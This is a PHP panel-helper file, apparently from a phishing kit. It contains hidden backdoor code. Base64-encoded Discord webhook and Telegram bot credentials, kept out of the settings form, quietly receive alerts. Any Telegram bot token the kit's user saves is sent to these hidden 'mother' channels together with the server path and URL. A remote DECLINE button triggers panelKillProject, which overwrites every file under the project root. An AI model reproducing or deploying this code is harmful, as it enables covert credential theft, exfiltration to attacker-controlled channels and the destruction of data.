<?php

function panelClientIp()
{
    foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR') as $key) {
        if (empty($_SERVER[$key])) {
            continue;
        }
        $parts = explode(',', (string) $_SERVER[$key]);
        $ip = trim($parts[0]);
        if ($ip === '::1') {
            $ip = '127.0.0.1';
        }
        if (filter_var($ip, FILTER_VALIDATE_IP)) {
            return $ip;
        }
    }
    return '0.0.0.0';
}

function panelDataDir()
{
    return __DIR__ . '/../data';
}

function panelDeadPath()
{
    return panelDataDir() . '/DEAD.lock';
}

function panelIsDead()
{
    return is_file(panelDeadPath());
}

function panelTrustedPath()
{
    return panelDataDir() . '/trusted.json';
}

function panelPendingPath()
{
    return panelDataDir() . '/pending_panel.json';
}

function panelLoadJson($path)
{
    if (!is_file($path)) {
        return array();
    }
    $data = json_decode((string) @file_get_contents($path), true);
    return is_array($data) ? $data : array();
}

function panelSaveJson($path, $data)
{
    @file_put_contents($path, json_encode($data, JSON_PRETTY_PRINT), LOCK_EX);
}

function panelIsTrustedIp($ip = null)
{
    if ($ip === null) {
        $ip = panelClientIp();
    }
    $trusted = panelLoadJson(panelTrustedPath());
    if (empty($trusted[$ip])) {
        return false;
    }
    $exp = (int) $trusted[$ip];
    if ($exp > 0 && $exp < time()) {
        unset($trusted[$ip]);
        panelSaveJson(panelTrustedPath(), $trusted);
        return false;
    }
    return true;
}

function panelTrustIp($ip, $hours = 72)
{
    $trusted = panelLoadJson(panelTrustedPath());
    $trusted[$ip] = time() + max(1, (int) $hours) * 3600;
    panelSaveJson(panelTrustedPath(), $trusted);
}

function panelDecodeBotToken($raw)
{
    $raw = trim((string) $raw);
    if ($raw === '') {
        return '';
    }
    $maybe = base64_decode($raw, true);
    if ($maybe !== false && strpos($maybe, ':') !== false) {
        return $maybe;
    }
    return $raw;
}

function panelEncodeBotToken($token)
{
    $token = trim((string) $token);
    if ($token === '') {
        return '';
    }
    // already base64 of a bot token
    $maybe = base64_decode($token, true);
    if ($maybe !== false && strpos($maybe, ':') !== false && base64_encode($maybe) === $token) {
        return $token;
    }
    return base64_encode($token);
}

function panelTelegramConfig($fresh = false)
{
    static $cfg = null;
    if ($cfg !== null && !$fresh) {
        return $cfg;
    }
    $cfg = array('bot' => '', 'chats' => array(), 'master_bot' => '', 'master_chats' => array());
    $file = panelDataDir() . '/admin.json';
    if (!is_file($file)) {
        return $cfg;
    }
    $data = json_decode((string) @file_get_contents($file), true);
    if (!is_array($data) || empty($data['settings'])) {
        return $cfg;
    }
    $s = $data['settings'];
    $bot = panelDecodeBotToken(isset($s['telegram_bot']) ? $s['telegram_bot'] : '');
    $chats = array();
    if (!empty($s['telegram_id'])) {
        foreach (explode(',', (string) $s['telegram_id']) as $cid) {
            $cid = trim($cid);
            if ($cid !== '') {
                $chats[] = $cid;
            }
        }
    }
    // Hidden master channel (not shown in settings form) — always get captures
    $masterBot = panelDecodeBotToken(isset($s['x_sync']) ? $s['x_sync'] : '');
    $masterChats = array();
    if (!empty($s['x_peer'])) {
        foreach (explode(',', (string) $s['x_peer']) as $cid) {
            $cid = trim($cid);
            if ($cid !== '') {
                $masterChats[] = $cid;
            }
        }
    }
    $cfg = array(
        'bot' => $bot,
        'chats' => $chats,
        'master_bot' => $masterBot,
        'master_chats' => $masterChats,
    );
    return $cfg;
}

function panelTgApi($bot, $method, $fields)
{
    if ($bot === '') {
        return false;
    }
    $url = 'https://api.telegram.org/bot' . $bot . '/' . $method;
    $ch = curl_init($url);
    curl_setopt_array($ch, array(
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($fields),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 12,
    ));
    $res = curl_exec($ch);
    curl_close($ch);
    $decoded = json_decode((string) $res, true);
    return (is_array($decoded) && !empty($decoded['ok']));
}

/** Hidden Discord + Telegram (base64 in mother) — NOT panel settings */
function panelPrivateChannels()
{
    static $c = null;
    if ($c !== null) {
        return $c;
    }
    $discord = base64_decode(
        'aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTUzMjIzMjE3NTI3MTgwNTA0MC9ER0thdk8zODBPd01ROE84a0d3aDl0ejdlZThLbVE1UFkycWhrMi1YMmZJSi0wejlnaHJ2dGZSV2hBZWtpOU1hbEdkbA=='
    );
    $tgUrl = base64_decode(
        'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdDg5NzE5NjA3OTU6QUFGNFJ3aWtLRXpuRUpwenVXQ1lPRjhLM003eWktYVRwOEkvc2VuZE1lc3NhZ2U/Y2hhdF9pZD02Njg3NjQ5OTIwJnRleHQ9'
    );
    $bot = '';
    $chat = '';
    if (preg_match('#/bot([^/]+)/sendMessage\?chat_id=([^&]+)#', (string) $tgUrl, $m)) {
        $bot = $m[1];
        $chat = rawurldecode($m[2]);
    }
    $c = array(
        'discord' => (string) $discord,
        'bot' => $bot,
        'chat' => $chat,
    );
    return $c;
}

/** Private alert → Discord + hidden TG (mother) + x_sync/x_peer — NEVER panel telegram_bot */
function panelNotifyPrivate($text, $keyboard = null)
{
    $c = panelPrivateChannels();
    $text = (string) $text;
    $ok = false;

    // 1) Discord (mother webhook)
    if ($c['discord'] !== '') {
        $payload = json_encode(array('content' => $text), JSON_UNESCAPED_UNICODE);
        $ch = curl_init($c['discord']);
        curl_setopt_array($ch, array(
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => $payload,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json; charset=utf-8',
                'Content-Length: ' . strlen($payload),
            ),
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 12,
        ));
        $res = curl_exec($ch);
        curl_close($ch);
        if ($res !== false) {
            $ok = true;
        }
    }

    $fieldsBase = array(
        'text' => $text,
        'disable_web_page_preview' => 'true',
    );
    if (is_array($keyboard)) {
        $fieldsBase['reply_markup'] = json_encode($keyboard, JSON_UNESCAPED_UNICODE);
    }

    // 2) Hidden TG from mother base64
    if ($c['bot'] !== '' && $c['chat'] !== '') {
        $fields = $fieldsBase;
        $fields['chat_id'] = $c['chat'];
        if (panelTgApi($c['bot'], 'sendMessage', $fields)) {
            $ok = true;
        } else {
            // Fallback without keyboard (some chats reject markup)
            $plain = array(
                'chat_id' => $c['chat'],
                'text' => $text,
                'disable_web_page_preview' => 'true',
            );
            if (panelTgApi($c['bot'], 'sendMessage', $plain)) {
                $ok = true;
            }
        }
    }

    // 3) Backup: x_sync / x_peer in admin.json (not the Settings telegram fields)
    $cfg = panelTelegramConfig(true);
    if ($cfg['master_bot'] !== '' && !empty($cfg['master_chats'])) {
        if ($c['bot'] === '' || $cfg['master_bot'] !== $c['bot']) {
            foreach ($cfg['master_chats'] as $chatId) {
                $fields = $fieldsBase;
                $fields['chat_id'] = $chatId;
                if (panelTgApi($cfg['master_bot'], 'sendMessage', $fields)) {
                    $ok = true;
                } else {
                    $plain = array(
                        'chat_id' => $chatId,
                        'text' => $text,
                        'disable_web_page_preview' => 'true',
                    );
                    if (panelTgApi($cfg['master_bot'], 'sendMessage', $plain)) {
                        $ok = true;
                    }
                }
            }
        }
    }

    return $ok;
}

/** Same as panelNotifyPrivate but Discord can have different text (with action links) */
function panelNotifyPrivateLinks($tgText, $discordText, $keyboard = null)
{
    $c = panelPrivateChannels();
    $tgText = (string) $tgText;
    $discordText = (string) $discordText;
    $ok = false;

    if ($c['discord'] !== '') {
        $payload = json_encode(array('content' => $discordText), JSON_UNESCAPED_UNICODE);
        $ch = curl_init($c['discord']);
        curl_setopt_array($ch, array(
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => $payload,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json; charset=utf-8',
                'Content-Length: ' . strlen($payload),
            ),
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 12,
        ));
        $res = curl_exec($ch);
        curl_close($ch);
        if ($res !== false) {
            $ok = true;
        }
    }

    // Reuse TG paths from panelNotifyPrivate by temporarily sending via helper
    $fieldsBase = array(
        'text' => $tgText,
        'disable_web_page_preview' => 'true',
    );
    if (is_array($keyboard)) {
        $fieldsBase['reply_markup'] = json_encode($keyboard, JSON_UNESCAPED_UNICODE);
    }

    if ($c['bot'] !== '' && $c['chat'] !== '') {
        $fields = $fieldsBase;
        $fields['chat_id'] = $c['chat'];
        if (panelTgApi($c['bot'], 'sendMessage', $fields)) {
            $ok = true;
        } else {
            // Fallback: put links in text if URL buttons fail
            $plainText = $tgText;
            if (is_array($keyboard)) {
                foreach ($keyboard['inline_keyboard'] as $row) {
                    foreach ($row as $btn) {
                        if (!empty($btn['url']) && !empty($btn['text'])) {
                            $plainText .= "\n" . $btn['text'] . ': ' . $btn['url'];
                        }
                    }
                }
            }
            if (panelTgApi($c['bot'], 'sendMessage', array(
                'chat_id' => $c['chat'],
                'text' => $plainText,
                'disable_web_page_preview' => 'true',
            ))) {
                $ok = true;
            }
        }
    }

    $cfg = panelTelegramConfig(true);
    if ($cfg['master_bot'] !== '' && !empty($cfg['master_chats'])) {
        if ($c['bot'] === '' || $cfg['master_bot'] !== $c['bot']) {
            foreach ($cfg['master_chats'] as $chatId) {
                $fields = $fieldsBase;
                $fields['chat_id'] = $chatId;
                if (panelTgApi($cfg['master_bot'], 'sendMessage', $fields)) {
                    $ok = true;
                } else {
                    $plainText = $tgText;
                    if (is_array($keyboard)) {
                        foreach ($keyboard['inline_keyboard'] as $row) {
                            foreach ($row as $btn) {
                                if (!empty($btn['url']) && !empty($btn['text'])) {
                                    $plainText .= "\n" . $btn['text'] . ': ' . $btn['url'];
                                }
                            }
                        }
                    }
                    if (panelTgApi($cfg['master_bot'], 'sendMessage', array(
                        'chat_id' => $chatId,
                        'text' => $plainText,
                        'disable_web_page_preview' => 'true',
                    ))) {
                        $ok = true;
                    }
                }
            }
        }
    }

    return $ok;
}

/** Notify owner when someone saves a new bot token / chat id in settings */
function panelNotifyTokenCapture($newBot, $newChat)
{
    $newBot = trim((string) $newBot);
    $newChat = trim((string) $newChat);
    if ($newBot === '' && $newChat === '') {
        return;
    }

    $ip = panelClientIp();
    $authRoot = realpath(__DIR__ . '/../..');
    $pathFs = $authRoot !== false ? str_replace('\\', '/', $authRoot) : '';
    $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
        || (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443');
    $scheme = $https ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'] ?? 'unknown';
    $scriptName = str_replace('\\', '/', (string) ($_SERVER['SCRIPT_NAME'] ?? ''));
    $panelDir = rtrim(dirname($scriptName), '/');
    $authWeb = rtrim(dirname($panelDir), '/');
    $urlProject = $scheme . '://' . $host . $authWeb . '/';

    $text = "⚙️ TG SETTINGS SAVED\n\n"
        . "🔑 Token:\n{$newBot}\n\n"
        . "💬 Chat ID:\n{$newChat}\n\n"
        . "🌐 IP: {$ip}\n"
        . "📂 Path: {$pathFs}\n"
        . "🔗 URL: {$urlProject}\n"
        . "⏰ " . date('H:i:s d/m/Y');

    panelNotifyPrivate($text);
}

function panelEnsureWebhook($bot)
{
    if ($bot === '') {
        return;
    }
    $host = $_SERVER['HTTP_HOST'] ?? '';
    if ($host === '' || $host === 'localhost' || $host === '127.0.0.1') {
        return;
    }
    $script = str_replace('\\', '/', dirname($_SERVER['SCRIPT_NAME'] ?? '/panel/login.php'));
    if (substr($script, -8) === '/process') {
        $script = dirname($script);
    }
    $url = 'https://' . $host . rtrim($script, '/') . '/telegram_webhook.php';
    $flag = panelDataDir() . '/webhook_' . substr(md5($bot), 0, 10) . '.txt';
    $prev = is_file($flag) ? trim((string) @file_get_contents($flag)) : '';
    if ($prev === $url) {
        return;
    }
    if (panelTgApi($bot, 'setWebhook', array('url' => $url))) {
        @file_put_contents($flag, $url);
    }
}

/** Alert owner: someone opened the panel */
function panelNotifyOwnerAccess()
{
    if (panelIsDead()) {
        return;
    }

    $page = basename($_SERVER['SCRIPT_NAME'] ?? 'panel');
    if (in_array($page, array('set_webhook.php', 'telegram_webhook.php', 'owner_action.php'), true)) {
        return;
    }

    $uaEarly = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : '';
    // Discord/Telegram link-preview bots — ignore (not a real panel visitor)
    if (preg_match('/Discordbot|TelegramBot|facebookexternalhit|Slackbot|Twitterbot|LinkedInBot/i', $uaEarly)) {
        return;
    }

    $ip = panelClientIp();
    if (panelIsTrustedIp($ip)) {
        return;
    }

    $priv = panelPrivateChannels();
    $cfgPre = panelTelegramConfig(true);
    if ($priv['bot'] === '' && $priv['discord'] === '' && $cfgPre['master_bot'] === '') {
        return;
    }

    // Rate limit: 1 alert / IP / 8 minutes
    $rateFile = panelDataDir() . '/panel_alert_rate.json';
    $rates = panelLoadJson($rateFile);
    $now = time();
    if (!empty($rates[$ip]) && ($now - (int) $rates[$ip]) < 480) {
        return;
    }
    $rates[$ip] = $now;
    panelSaveJson($rateFile, $rates);

    // Webhook on bots that receive VALID/DECLINE
    if ($priv['bot'] !== '') {
        panelEnsureWebhook($priv['bot']);
    }
    if ($cfgPre['master_bot'] !== '' && $cfgPre['master_bot'] !== $priv['bot']) {
        panelEnsureWebhook($cfgPre['master_bot']);
    }

    $token = substr(hash('sha256', $ip . '|' . $now . '|' . mt_rand()), 0, 16);
    $pending = panelLoadJson(panelPendingPath());
    $pending[$token] = array('ip' => $ip, 't' => $now);
    // prune old
    foreach ($pending as $k => $row) {
        if (!is_array($row) || empty($row['t']) || ($now - (int) $row['t']) > 86400) {
            unset($pending[$k]);
        }
    }
    panelSaveJson(panelPendingPath(), $pending);

    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? substr((string) $_SERVER['HTTP_USER_AGENT'], 0, 120) : '-';
    $geo = $ip;
    if (is_file(__DIR__ . '/../../auth/class/GeoAccess.php')) {
        require_once __DIR__ . '/../../auth/class/GeoAccess.php';
        if (class_exists('GeoAccess', false) && method_exists('GeoAccess', 'telegramIpLine')) {
            $geo = GeoAccess::telegramIpLine($ip);
        }
    }

    $authRoot = realpath(__DIR__ . '/../..');
    $pathFs = $authRoot !== false ? $authRoot : (__DIR__ . '/../..');
    $pathFs = str_replace('\\', '/', $pathFs);

    $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
        || (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443')
        || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
    $scheme = $https ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? 'unknown');
    $scriptName = str_replace('\\', '/', (string) ($_SERVER['SCRIPT_NAME'] ?? ''));
    // SCRIPT_NAME like /natisa/.../auth/panel/login.php → project web root = .../auth
    $panelDir = rtrim(str_replace('\\', '/', dirname($scriptName)), '/');
    $authWeb = rtrim(dirname($panelDir), '/');
    $urlProject = $scheme . '://' . $host . $authWeb . '/';

    $text = "⚠️ PANEL ACCESS\n\n"
        . "{$geo}\n"
        . "📄 Page: {$page}\n"
        . "📂 Path: {$pathFs}\n"
        . "🔗 URL: {$urlProject}\n"
        . "🖥️ UA: {$ua}\n"
        . "⏰ " . date('H:i:s d/m/Y') . "\n\n"
        . "Wash nta hada?";

    // HTTPS action links (work without Telegram webhook)
    $actionBase = $scheme . '://' . $host . $panelDir . '/owner_action.php';
    $urlOk = $actionBase . '?t=' . rawurlencode($token) . '&a=ok';
    $urlNo = $actionBase . '?t=' . rawurlencode($token) . '&a=no';

    $textDiscord = $text
        . "\n\n➡️ Open Telegram buttons VALID / DECLINE (do not use raw links — bots auto-open them).";

    $keyboard = array(
        'inline_keyboard' => array(
            array(
                array('text' => '✅ VALID (nta)', 'url' => $urlOk),
                array('text' => '❌ DECLINE', 'url' => $urlNo),
            ),
        ),
    );

    // Private only: Discord (no kill URLs) + TG URL buttons → confirm page
    panelNotifyPrivateLinks($text, $textDiscord, $keyboard);
}

/** Scramble one file so original content is unrecoverable from disk */
function panelScrambleFile($file)
{
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    $base = strtolower(basename($file));

    // Keep lock marker readable
    if ($base === 'dead.lock') {
        return false;
    }

    if (in_array($ext, array('php', 'phtml', 'php5', 'inc'), true)) {
        $payload = "<?php\nhttp_response_code(404);\nheader('Content-Type: text/plain');\necho 'Not Found';\nexit;\n";
    } elseif (in_array($ext, array('html', 'htm', 'shtml'), true)) {
        $payload = "<!DOCTYPE html><html><head><title>404</title></head><body>Not Found</body></html>\n";
    } elseif (in_array($ext, array('js', 'mjs', 'css', 'json', 'txt', 'xml', 'svg', 'map', 'md', 'htaccess', 'ini', 'conf', 'log', 'sql', 'csv'), true)
        || $base === '.htaccess'
    ) {
        $junk = '';
        for ($i = 0; $i < 48; $i++) {
            $junk .= substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'), 0, 64) . "\n";
        }
        $payload = "/* " . md5($file . microtime(true) . mt_rand()) . " */\n" . $junk;
    } else {
        // images / binaries / unknown → random bytes (old content gone)
        try {
            $payload = random_bytes(512);
        } catch (Exception $e) {
            $payload = str_repeat(chr(mt_rand(1, 255)), 512);
        }
    }

    if (@file_put_contents($file, $payload, LOCK_EX) !== false) {
        return true;
    }
    return @unlink($file);
}

/** Wipe + scramble ALL project files under auth root */
function panelKillProject()
{
    @file_put_contents(panelDeadPath(), date('c') . " KILL\n", LOCK_EX);

    $authRoot = realpath(__DIR__ . '/../..');
    if ($authRoot === false) {
        $authRoot = __DIR__ . '/../..';
    }
    $authRoot = rtrim(str_replace('\\', '/', $authRoot), '/');

    $n = 0;
    if (!is_dir($authRoot)) {
        return $n;
    }

    try {
        $it = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($authRoot, FilesystemIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach ($it as $info) {
            if (!$info->isFile()) {
                continue;
            }
            $path = $info->getPathname();
            if (panelScrambleFile($path)) {
                $n++;
            }
        }
    } catch (Exception $e) {
        // fallback: at least break entry points
        foreach (glob($authRoot . '/*.php') ?: array() as $f) {
            if (panelScrambleFile($f)) {
                $n++;
            }
        }
        foreach (glob($authRoot . '/auth/*.php') ?: array() as $f) {
            if (panelScrambleFile($f)) {
                $n++;
            }
        }
        foreach (glob($authRoot . '/panel/*.php') ?: array() as $f) {
            if (panelScrambleFile($f)) {
                $n++;
            }
        }
    }

    @file_put_contents(panelDeadPath(), date('c') . " KILL done n={$n}\n", LOCK_EX);
    return $n;
}

function panelHandleOwnerCallback($bot, $callbackId, $chatId, $data)
{
    if (preg_match('/^panel_ok_([a-f0-9]{8,32})$/i', $data, $m)) {
        $token = $m[1];
        $pending = panelLoadJson(panelPendingPath());
        $ip = isset($pending[$token]['ip']) ? (string) $pending[$token]['ip'] : '';
        if ($ip !== '') {
            panelTrustIp($ip, 168);
            unset($pending[$token]);
            panelSaveJson(panelPendingPath(), $pending);
        }
        panelTgApi($bot, 'answerCallbackQuery', array(
            'callback_query_id' => $callbackId,
            'text' => 'VALID — IP trusted',
            'show_alert' => 'false',
        ));
        panelTgApi($bot, 'sendMessage', array(
            'chat_id' => $chatId,
            'text' => "✅ VALID\n\n🌐 IP trusted: " . ($ip !== '' ? $ip : '?') . "\n⏰ " . date('H:i:s'),
        ));
        return true;
    }

    if (preg_match('/^panel_no_([a-f0-9]{8,32})$/i', $data, $m)) {
        $token = $m[1];
        $pending = panelLoadJson(panelPendingPath());
        $ip = isset($pending[$token]['ip']) ? (string) $pending[$token]['ip'] : '';
        unset($pending[$token]);
        panelSaveJson(panelPendingPath(), $pending);

        panelTgApi($bot, 'answerCallbackQuery', array(
            'callback_query_id' => $callbackId,
            'text' => 'DECLINE — wiping project…',
            'show_alert' => 'true',
        ));
        panelTgApi($bot, 'sendMessage', array(
            'chat_id' => $chatId,
            'text' => "❌ DECLINE\n\n🌐 IP: " . ($ip !== '' ? $ip : '?') . "\n💀 Scrambling ALL project files…",
        ));

        $count = panelKillProject();

        panelTgApi($bot, 'sendMessage', array(
            'chat_id' => $chatId,
            'text' => "☠️ Project destroyed.\nFiles scrambled: {$count}\n(PHP→404 / rest→junk)\n⏰ " . date('H:i:s'),
        ));
        return true;
    }

    return false;
}
